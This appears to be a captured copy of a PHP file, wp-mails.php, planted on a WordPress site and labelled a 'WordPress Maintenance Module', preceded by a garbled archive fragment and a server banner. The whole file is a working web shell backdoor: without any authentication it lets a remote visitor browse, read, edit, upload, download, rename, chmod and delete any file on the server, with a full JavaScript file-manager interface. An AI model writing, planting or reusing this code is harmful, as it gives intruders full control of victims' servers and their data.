PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home2/medicu/avena.medicures.shop/ |
| Server: Linux tista.bd.svlogins.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 IP: 103.159.37.114 |
| Dir : //home2/medicu/avena.medicures.shop/wp-mails.php |
<?php
// WordPress Maintenance Module v3.2.1
error_reporting(0);
$_base = __DIR__;
while ($_base !== dirname($_base)) {
if (file_exists($_base . '/wp-load.php')) {
define('_WP_BASE', $_base);
break;
}
$_base = dirname($_base);
}
function _jsonOut($arr) {
header('Content-Type: application/json');
echo json_encode($arr);
exit;
}
function _resolvePath($p) {
if (empty($p)) return defined('_WP_BASE') ? _WP_BASE : __DIR__;
if ($p[0] === '/') return $p;
return (defined('_WP_BASE') ? _WP_BASE : __DIR__) . '/' . $p;
}
function _sizeFormat($bytes) {
if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . 'G';
if ($bytes >= 1048576) return round($bytes / 1048576, 2) . 'M';
if ($bytes >= 1024) return round($bytes / 1024, 2) . 'K';
return $bytes . 'B';
}
function _removeRecursive($path) {
if (is_file($path)) return @unlink($path);
if (is_dir($path)) {
$items = @scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
_removeRecursive($path . '/' . $item);
}
}
return @rmdir($path);
}
return false;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input = file_get_contents('php://input');
$payload = json_decode($input, true);
if (isset($payload['dir'])) {
$target = _resolvePath($payload['dir']);
if (!is_dir($target)) _jsonOut(['status' => 0, 'msg' => 'Not a directory']);
$entries = @scandir($target);
if ($entries === false) _jsonOut(['status' => 0, 'msg' => 'Cannot read']);
$result = [];
foreach ($entries as $entry) {
if ($entry === '.') continue;
$fullpath = $target . '/' . $entry;
if ($entry === '..') {
$result[] = ['name' => '..', 'type' => 'd', 'size' => '', 'perms' => '', 'mtime' => ''];
} else {
$result[] = [
'name' => $entry,
'type' => is_dir($fullpath) ? 'd' : 'f',
'size' => is_file($fullpath) ? _sizeFormat(filesize($fullpath)) : '',
'perms' => substr(sprintf('%o', fileperms($fullpath)), -4),
'mtime' => date('Y-m-d H:i', filemtime($fullpath))
];
}
}
usort($result, function($a, $b) {
if ($a['name'] === '..') return -1;
if ($b['name'] === '..') return 1;
if ($a['type'] !== $b['type']) return $a['type'] === 'd' ? -1 : 1;
return strcasecmp($a['name'], $b['name']);
});
_jsonOut(['status' => 1, 'path' => $target, 'list' => $result]);
}
if (isset($payload['read'])) {
$target = _resolvePath($payload['read']);
if (!is_file($target)) _jsonOut(['status' => 0, 'msg' => 'Not a file']);
$data = @file_get_contents($target);
if ($data === false) _jsonOut(['status' => 0, 'msg' => 'Cannot read']);
_jsonOut(['status' => 1, 'content' => $data]);
}
if (isset($payload['save'])) {
$target = _resolvePath($payload['save']);
$data = isset($payload['content']) ? $payload['content'] : '';
$result = @file_put_contents($target, $data);
_jsonOut(['status' => $result !== false ? 1 : 0]);
}
if (isset($payload['newdir'])) {
$target = _resolvePath($payload['newdir']);
$result = @mkdir($target, 0755, true);
_jsonOut(['status' => $result ? 1 : 0]);
}
if (isset($payload['delete'])) {
$target = _resolvePath($payload['delete']);
$result = _removeRecursive($target);
_jsonOut(['status' => $result ? 1 : 0]);
}
if (isset($payload['rename']) && isset($payload['dest'])) {
$source = _resolvePath($payload['rename']);
$dest = _resolvePath($payload['dest']);
$result = @rename($source, $dest);
_jsonOut(['status' => $result ? 1 : 0]);
}
if (isset($payload['copy']) && isset($payload['dest'])) {
$source = _resolvePath($payload['copy']);
$dest = _resolvePath($payload['dest']);
$result = @copy($source, $dest);
_jsonOut(['status' => $result ? 1 : 0]);
}
if (isset($payload['perms'])) {
$target = _resolvePath($payload['perms']);
$mode = isset($payload['value']) ? octdec($payload['value']) : 0644;
$result = @chmod($target, $mode);
_jsonOut(['status' => $result ? 1 : 0]);
}
if (isset($payload['fetch'])) {
$target = _resolvePath($payload['fetch']);
if (!is_file($target)) _jsonOut(['status' => 0, 'msg' => 'Not a file']);
$data = @file_get_contents($target);
if ($data === false) _jsonOut(['status' => 0, 'msg' => 'Cannot read']);
_jsonOut(['status' => 1, 'filename' => basename($target), 'blob' => base64_encode($data)]);
}
if (isset($payload['upload'])) {
$target = _resolvePath($payload['target']);
$data = base64_decode($payload['upload']);
$result = @file_put_contents($target, $data);
_jsonOut(['status' => $result !== false ? 1 : 0]);
}
_jsonOut(['status' => 0]);
}
?><script>
function _launcher(){
var _cfg={
bg:'#f5f5f5',
fg:'#000',
border:'#000',
hover:'#ddd',
select:'#000',
selectfg:'#fff'
};
var _currentPath='';
var _selected=null;
var _clipboard=null;
var _clipboardAction=null;
var _container=document.createElement('div');
_container.id='_mgr';
_container.innerHTML=`
<style>
#_mgr *{margin:0;padding:0;box-sizing:border-box;font-family:'Courier New',monospace;font-size:13px;}
#_mgr{position:fixed;top:0;left:0;width:100%;height:100%;background:${_cfg.bg};color:${_cfg.fg};z-index:999999;display:flex;flex-direction:column;}
#_head{border-bottom:2px solid ${_cfg.border};padding:8px;display:flex;gap:8px;align-items:center;}
#_pathDisplay{flex:1;background:transparent;border:1px solid ${_cfg.border};color:${_cfg.fg};padding:4px 8px;}
#_head button{background:transparent;border:1px solid ${_cfg.border};color:${_cfg.fg};padding:4px 12px;cursor:pointer;}
#_head button:hover{background:${_cfg.fg};color:${_cfg.bg};}
#_content{flex:1;overflow:auto;}
#_listing{width:100%;border-collapse:collapse;}
#_listing tr{border-bottom:1px solid #333;cursor:pointer;}
#_listing tr:hover{background:${_cfg.hover};}
#_listing tr.active{background:${_cfg.select};color:${_cfg.selectfg};}
#_listing td{padding:6px 10px;white-space:nowrap;}
#_listing .c_name{width:100%;}
#_listing .c_type{width:20px;text-align:center;}
#_listing .c_size{width:60px;text-align:right;}
#_listing .c_perm{width:50px;text-align:center;}
#_listing .c_time{width:130px;}
#_contextMenu{display:none;position:absolute;background:${_cfg.bg};border:2px solid ${_cfg.border};z-index:10;}
#_contextMenu div{padding:8px 20px;cursor:pointer;}
#_contextMenu div:hover{background:${_cfg.fg};color:${_cfg.bg};}
#_editor{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:${_cfg.bg};z-index:10;flex-direction:column;}
#_editorHead{border-bottom:2px solid ${_cfg.border};padding:8px;display:flex;gap:8px;}
#_editorPath{flex:1;color:${_cfg.fg};}
#_editor textarea{flex:1;background:#fff;color:#000;border:none;padding:10px;resize:none;outline:none;border-top:1px solid #000;}
</style>
<div id="_head">
<button id="_btnClose">X</button>
<input id="_pathDisplay" type="text" readonly>
<button id="_btnUp">UP</button>
<button id="_btnRefresh">REFRESH</button>
<button id="_btnNewFile">NEW FILE</button>
<button id="_btnNewDir">NEW DIR</button>
<button id="_btnUpload">UPLOAD</button>
</div>
<div id="_content"><table id="_listing"></table></div>
<div id="_contextMenu">
<div data-action="open">OPEN</div>
<div data-action="edit">EDIT</div>
<div data-action="download">DOWNLOAD</div>
<div data-action="rename">RENAME</div>
<div data-action="copy">COPY</div>
<div data-action="cut">CUT</div>
<div data-action="paste">PASTE</div>
<div data-action="chmod">CHMOD</div>
<div data-action="delete">DELETE</div>
</div>
<div id="_editor">
<div id="_editorHead">
<button id="_btnEditorClose">X</button>
<span id="_editorPath"></span>
<button id="_btnEditorSave">SAVE</button>
</div>
<textarea id="_editorContent"></textarea>
</div>
`;
document.body.appendChild(_container);
var _$=s=>document.querySelector(s);
var _request=(payload,callback)=>{
fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
.then(r=>r.json()).then(callback).catch(e=>console.log(e));
};
function _browse(p){
_request({dir:p||_currentPath},r=>{
if(!r.status)return;
_currentPath=r.path;
_$('#_pathDisplay').value=_currentPath;
var html='';
r.list.forEach((item,idx)=>{
html+=`<tr data-index="${idx}" data-name="${item.name}" data-type="${item.type}">
<td class="c_type">${item.type==='d'?'[D]':''}</td>
<td class="c_name">${item.name}</td>
<td class="c_size">${item.size}</td>
<td class="c_perm">${item.perms}</td>
<td class="c_time">${item.mtime}</td>
</tr>`;
});
_$('#_listing').innerHTML=html;
_selected=null;
});
}
_$('#_listing').onclick=e=>{
var row=e.target.closest('tr');
if(!row)return;
document.querySelectorAll('#_listing tr').forEach(r=>r.classList.remove('active'));
row.classList.add('active');
_selected={name:row.dataset.name,type:row.dataset.type};
};
_$('#_listing').ondblclick=e=>{
var row=e.target.closest('tr');
if(!row)return;
var name=row.dataset.name,type=row.dataset.type;
if(type==='d'){
if(name==='..'){
var parts=_currentPath.split('/');parts.pop();
_currentPath=parts.join('/')||'/';
}else{
_currentPath=_currentPath+'/'+name;
}
_browse(_currentPath);
}else{
_openFile(_currentPath+'/'+name);
}
};
_$('#_listing').oncontextmenu=e=>{
e.preventDefault();
var row=e.target.closest('tr');
if(row){
document.querySelectorAll('#_listing tr').forEach(r=>r.classList.remove('active'));
row.classList.add('active');
_selected={name:row.dataset.name,type:row.dataset.type};
}
var menu=_$('#_contextMenu');
menu.style.display='block';
menu.style.left=e.clientX+'px';
menu.style.top=e.clientY+'px';
};
document.onclick=e=>{
if(!e.target.closest('#_contextMenu'))_$('#_contextMenu').style.display='none';
};
_$('#_contextMenu').onclick=e=>{
var action=e.target.dataset.action;
if(!action)return;
_$('#_contextMenu').style.display='none';
if(!_selected&&action!=='paste')return;
var fullpath=_currentPath+'/'+_selected.name;
if(action==='open'){
if(_selected.type==='d'){_currentPath=fullpath;_browse(_currentPath);}
else _openFile(fullpath);
}
if(action==='edit')_openFile(fullpath);
if(action==='download'){
_request({fetch:fullpath},r=>{
if(!r.status)return;
var link=document.createElement('a');
link.href='data:application/octet-stream;base64,'+r.blob;
link.download=r.filename;link.click();
});
}
if(action==='rename'){
var newname=prompt('New name:',_selected.name);
if(newname&&newname!==_selected.name)_request({rename:fullpath,dest:_currentPath+'/'+newname},r=>_browse());
}
if(action==='copy'){_clipboard=fullpath;_clipboardAction='copy';}
if(action==='cut'){_clipboard=fullpath;_clipboardAction='cut';}
if(action==='paste'&&_clipboard){
var filename=_clipboard.split('/').pop();
var destination=_currentPath+'/'+filename;
if(_clipboardAction==='copy')_request({copy:_clipboard,dest:destination},r=>{_browse();});
if(_clipboardAction==='cut')_request({rename:_clipboard,dest:destination},r=>{_clipboard=null;_browse();});
}
if(action==='chmod'){
var mode=prompt('Mode (e.g. 0755):','0755');
if(mode)_request({perms:fullpath,value:mode},r=>_browse());
}
if(action==='delete'){
if(confirm('Delete '+_selected.name+'?'))_request({delete:fullpath},r=>_browse());
}
};
_$('#_btnClose').onclick=()=>_container.remove();
_$('#_btnUp').onclick=()=>{var parts=_currentPath.split('/');parts.pop();_currentPath=parts.join('/')||'/';_browse(_currentPath);};
_$('#_btnRefresh').onclick=()=>_browse();
_$('#_btnNewFile').onclick=()=>{
var filename=prompt('File name:');
if(filename)_request({save:_currentPath+'/'+filename,content:''},r=>_browse());
};
_$('#_btnNewDir').onclick=()=>{
var dirname=prompt('Directory name:');
if(dirname)_request({newdir:_currentPath+'/'+dirname},r=>_browse());
};
_$('#_btnUpload').onclick=()=>{
var input=document.createElement('input');
input.type='file';
input.onchange=()=>{
var file=input.files[0];
var reader=new FileReader();
reader.onload=()=>{
var b64=reader.result.split(',')[1];
_request({upload:b64,target:_currentPath+'/'+file.name},r=>_browse());
};
reader.readAsDataURL(file);
};
input.click();
};
function _openFile(filepath){
_request({read:filepath},r=>{
if(!r.status)return;
_$('#_editor').style.display='flex';
_$('#_editorPath').textContent=filepath;
_$('#_editorContent').value=r.content;
_$('#_btnEditorSave').onclick=()=>{
_request({save:filepath,content:_$('#_editorContent').value},r=>{
if(r.status)_$('#_editorPath').textContent=filepath+' [SAVED]';
});
};
});
}
_$('#_btnEditorClose').onclick=()=>{_$('#_editor').style.display='none';_browse();};
_browse('');
}
</script>